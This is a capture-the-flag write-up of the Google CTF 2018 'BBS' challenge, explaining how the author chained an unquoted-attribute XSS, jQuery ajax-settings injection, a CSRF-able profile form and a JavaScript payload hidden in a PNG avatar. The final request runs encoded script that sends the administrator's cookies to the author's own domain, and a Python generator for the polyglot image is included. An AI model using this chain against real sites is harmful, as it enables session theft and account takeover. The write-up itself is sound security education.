(You can also download this write-up as PDF)
Hey, it’s all about JavaScript, right? It shouldn’t be so hard after all... If you had similar feeling starting BBS on this year’s edition of Google CTF you can be positively surprised reading this write-up. This challenge shows in a very good way that JavaScript/XSS can be enjoyable and require quite sophisticated approaches. But let’s start from the beginning...
-
Intro
In the first place, let’s describe the whole application. Regarding website frontend, it is clearly written in Bootstrap – there are many references to submodules like model, dropdown, button etc. in the HTML source. On the other hand, if you take a glance at HTTP headers you can see that PHPSESSID was used for the session cookie – unless someone is trying to fool us, the backend is in PHP. The later fact is not very useful right now but, surprisingly, a lot of information gained in a reconnaissance phase influence the way you solve the challenge. Speaking about functionality, the site allows you to:
- Register a new user
- Login as a registered user
- Compose and send a new post
- Display all posts
- Display a specified post having the post ID
- Report a post to administrator for revision
- Upload an avatar for your profile
- Specify URL to your website in your profile
- Logout
Not much. Good for us because unless there’s some more logic in the code, it means that the scope of attack is quite small. It’s worth to note that the feature of sending reports to administrator is a bit hidden and after submitting the link, we end up with the information that “the post has been reported” and ”the admin will take a look shortly”. The pattern of sending the link to be visited is a bit typical in challenges that require us to steal or use the established session, so we may suspect that’s the goal of this one too.
-
There are bugs!
When you try to play with the application, it doesn’t need a lot of effort to find out that there are two problems with sanitizing the input:
The first one is a possibility to make a script injection on the profile page by abusing the website field. Even though the input is passed through htmlspecialchars filter, the displayed value is not surrounded by quotes or apostrophes. This gives you a pretty straightforward way to perform the XSS using events like onmouseover/onerror:
The bad thing is that you can easily XSS only yourself because the malicious script is displayed only on our user’s profile and if we were logged into a different account we wouldn’t be affected.
Another feature that can be abused is the “p” parameter of /post handler. The intention was clearly to provide an easy way to load arbitrary content:
function load_post() { var q = qs.parse(location.search, {ignoreQueryPrefix: true}); var url = q.p; $.ajax(url).then((text) => { $('#post').html(atob(text)); }); }
It’s hard to argue that it doesn’t work – it works even too well because you could in theory specify the remote URL like https://google.com and the script would load the content of remote site proving it sets corresponding CORS headers. I’ve said “in theory” because if you look closer you’ll realize there’s a custom Content Security Policy defined in HTTP headers that limits sources of all objects to self and unsafe-inline:
content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
Basically, the policy says we can use only resources from the same origin, so in fact we can still abuse the “p” parameter but it must point to local resources in order to let the exploit work.
If we want to understand what load_post function does under the hood, we will end up analyzing quite a long implementation of parse method. The core JavaScript library doesn’t provide any API for query string parsing and that’s why the application uses Node.js module called querystring (or maybe its modified version?). Either way, I had very little experience with Node.js and frontend development, so when trying to understand the whole idea behind it I’ve assumed that the parse method behaves similarly to PHP’s parse_str (http://php.net/manual/en/function.parse-str.php). When you take a look at its documentation and the documentation of $_POST variable (http://php.net/manual/en/reserved.variables.post.php), you’ll see that you can not only specify the raw names and their values, but also create more complex objects and arrays by using named indices.
The milestone was to realize that $.ajax API provides two different signatures that may be called using the same function name (http://api.jquery.com/jquery.ajax/):
- First and the most common is jQuery.ajax( url [, settings ] ), that takes URL as a first argument and settings as an optional second one.
- The latter is jQuery.ajax( [settings ] ) which takes only a single argument.
Now, let’s guess what would happen if instead of providing the url we provide the settings object constructed from query string variables? It will work. :)
We can verify the basic idea by using: /post?p[url]=https://google.com. Again, the resource won’t be loaded because of CORS and CSP but we can clearly see in the debugger that we can control $.ajax settings:
-
Changing administrator’s password
Having the possibility to specify all bunch of settings in the AJAX requests gives us quite a lot of opportunities to exploit the application. One of the first thoughts that came to my mind was to change the password of the administrator. It could be done quite easily because the form on /profile didn’t require the current password, there was no Cross Site Request Forgery token and in fact the only thing you had to do was to send the same password in “password” and “password2” fields.
Speaking of code, this should pass:
$.post('/report', { 'post': '/admin/' + '../post' + '?p[method]=POST' + '&p[url]=/profile' + '&p[data][password]=letsFinishThis' + '&p[data][password2]=letsFinishThis' + '&p[data][submit]=' })
Unfortunately we haven’t finished this one so quickly. The new password didn’t work. This could mean some mistake was made on our side or it wasn’t the expected solution and haven’t passed some validator. While in real world scenario it should work, it was rather hard to believe that some real person with real browser was traversing all the links that people were sending when trying to solve this challenge. A common way to imitate the admin visiting the links is to use engines like PhantomJS or scripted headless Chrome. Either way, after a few tries I’ve abandoned this path...
-
Let's combine the two bugs
...because I’ve came up with a better idea. Why not to use the other bug we’ve found earlier? By sending the link we’re able to perform any request on behalf of the administrator, including profile updates. If we set his website to contain some malicious content, we would be able to redirect him to it in the second visit.
Therefore, the general idea was to send the link with a website update:
$.post('/report', { 'post': '/admin/' + '../post' + '?p[method]=POST' + '&p[url]=/profile' + '&p[data][website]= http://google.com%20style=position:absolute;top:0;left:0;width:1920px;height:1080px%20onmouseover=eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,39))' + '&p[data][submit]=' })
And as a next step, redirect the admin to his /profile by sending him:
$.post('/report', { 'post': '/admin/' + '../profile' })
The script decoded by Script.fromCharCode was responsible for the redirection to some domain that we can monitor. If we received a request there, it would mean that the script was executed in the context of admin session. But after several tries and a few minutes of waiting we haven’t received any callback so again, we decided it’s not a right approach and we need to look for something else we were missing so far.
-
No memes allowed.
It’s nice to create a hard challenge. Creating one gives the same amount of satisfaction to you as it gives to other people who are solving it. It’s a bit of pity if the competitions ends and nobody was able to solve your task. That’s why authors often leave some kinds of discreet hints either in challenges or their descriptions. I haven’t encountered any hints in the challenge itself so I decided to take a look on the description from the dashboard. There was a single sentence: “No memes allowed”. A light bulb came on over my head and I’ve asked out loud: “Do they really want me to put the XSS in my avatar?”
It was quite a plan. After a small team brainstorm, it appeared that some similar research was already done. I’ve ended up with a few blog posts that described the process of embedding an arbitrary text inside of a PNG file that is capable to outlive image rewriting.
Encoding Web Shells in PNG IDAT chunks:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/Revisiting XSS payloads in PNG IDAT chunks:
https://www.adamlogue.com/revisiting-xss-payloads-in-png-idat-chunks/An XSS on Facebook via PNGs & Wonky Content Types:
https://whitton.io/articles/xss-on-facebook-via-png-content-types/In order not to check each image online, I’ve decided to create some standalone verifier that would check if a rewritten image was correct. I knew the script was written in PHP and after a quick lookup on Google & Stack Overflow I ended up with the following resampler:
<?php $original_filename = "image.png"; $thumb_filename = "image_resampled.png"; $original_info = getimagesize($original_filename) or die("getimagesize failed!"); $original_w = $original_info[0]; $original_h = $original_info[1]; $original_img = imagecreatefrompng($original_filename) or die("imagecreatefrompng failed!"); $thumb_w = 64; $thumb_h = 64; $thumb_img = imagecreatetruecolor($thumb_w, $thumb_h); imagecopyresampled($thumb_img, $original_img, 0, 0, 0, 0, $thumb_w, $thumb_h, $original_w, $original_h); imagepng($thumb_img, $thumb_filename); imagedestroy($thumb_img); imagedestroy($original_img); ?>
Surprisingly, it worked quite well and I was able to confirm that the image passed through the resampling process in the script is not longer modified when uploading as avatar. This gave me an easy way to check if the image was correct from our point of view.
The links we’ve found during the research described the idea of embedding text in deflated streams quite well and after some time of understanding the process and a series of trial and error we were able to create a 40x40 image that contained a payload of our choice when encoded as a PNG image. The problem was that the web application was resizing the provided image to 64x64. We’ve assumed the resize operation was hard to predict, that’s why we wanted to provide the image with the final dimensions. Unfortunately, “something” was messing up when I was trying to perform the same operations on 64x64 image. Because a friend of mine, Redford, had a good understanding of PNG file format and the underlying structures, I’ve decided to ask him for the help.
-
The marriage of PNG and JavaScript
Our initial goal was to create a PNG file with a payload that would behave in a similar manner to this:
eval(location.search.substr(113))
Having a PNG image like this, we would be able to construct a trampoline that will evaluate the next portion of the code directly from the URL.
Because all our previous attempts failed, we decided to start again from scratch and try to analyze this problem on our own. This time we started the analysis directly from 64x64 images and tried to find some properties which could ease our job. The first thing we noticed was that the first row of pixels is emitted literally (i.e. with filter set to None) if the image comprised of random pixels. For some unknown reason, this happened only from time to time, but was fully deterministic - it depended only on image data. In the other case, the filter was set to Sub, which destroyed the data. We could of course add a correction for this filter, but then the filter could change again as its choice depend on pixel values. So, we decided to go with a much easier solution - generate an image in a loop until we get the first line with filter = None. What’s interesting, deflate algorithm didn’t interfere with us at any point - it was emitting all the data literally, probably because of their high entropy.
The only thing we needed at this point was to insert the payload somewhere into random pixels, so that the filter-choosing heuristic won’t notice them as a good candidate for compression. To achieve that, we split the payload into small chunks separated with comments and filled the area between them with a bunch of random pixels. This approach turned out to work perfectly!
The code for the whole process:
from PIL import Image from random import randint def rand_bytes(n): return ''.join(map(chr, [randint(0, 255) for _ in xrange(n)])) chunks = [ 'eval/*', '*/(location/*', '*/.search.substr/*', '*/(113)/*', '*/);', ] while True: # Fill `arr` with payload chunks separated with random data. arr = '' for i in xrange(len(chunks)): arr += chunks[i] if i != len(chunks)-1: arr += rand_bytes(16) arr = map(ord, arr) while len(arr) % 3 != 0: arr.append(randint(0, 256)) # Create an image filled with random pixels. xsize = 64 ysize = 64 im = Image.new("RGB", (xsize, ysize)) for ix in xrange(xsize): for iy in xrange(ysize): im.putpixel((ix, iy), (randint(0, 256), randint(0, 256), randint(0, 256))) # Replace the first pixels of the image with `arr`. for i in xrange(0, len(arr), 3): im.putpixel((i/3, 0), tuple(arr[i:i+3])) im.save("xsspayload_good.png") # Stop if the image worked. with open('xsspayload_good.png', 'rb') as f: data = f.read() if all([(chunk in data) for chunk in chunks]): print 'Done!' break
Finally we’ve uploaded the image and then it was clear we had a very nice JavaScript trampoline inside of a valid PNG file, right on the spot:
-
Let’s finish this!
Having the image in place, we were ready to steal the flag. Using “Range” HTTP header we could specify a range of bytes from the PNG which corresponded to our script, skipping PNG headers and other irrelevant data. Also, setting the AJAX’s “dataType" to “script” allowed us to bypass the requirement of Base64 content and execute the response directly as a script.
The final request to be visited by admin looked like this:
$.post('/report', { 'post': '/admin/' + '../post' + '?p[url]=/avatar/303fd25f60a7f6e02d9bf961de58b1e5' + '&p[headers][Range]=bytes=49-161' + '&p[dataType]=script' + '&code=AAAAAAAAA' + 'eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,47,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))' })
The code from the URL in fact redirects the user to a third party domain along with their cookies:
location='http://my.domain/'+btoa(document.cookie)
After a few seconds we’ve finally had the flag recorded on our HTTP server:
vnd@motherland ~/test$ python -m SimpleHTTPServer 8080 Serving HTTP on 0.0.0.0 port 8080 ... 35.195.30.181 - - [30/Jun/2018 08:45:35] code 404, message File not found 35.195.30.181 - - [30/Jun/2018 08:45:35] "GET /ZmxhZz1DVEZ7eU91X0hhVmVfQmVlbl9iJn0= HTTP/1.1" 404 -
CTF{yOu_HaVe_Been_b&}
>When you take a look at its documentation, you’ll see that you can not only specify the raw names and their values, but also create more complex objects and arrays by using named indices.
ReplyDeleteStrangely, the documentation doesn't seem to mention named indices, neither the English nor the Polish documentation. Also strange that the Polish documentation is in English, but is different than the English documentation.
Good catch that the Polish documentation is in English and is different than the original one ;) I've updated the paragraph, there's a bit more info about named indices in the documentation of $_POST. In comments of parse_str there're examples of using [0] and [1] explicitly but in the later one there are more clear examples.
Delete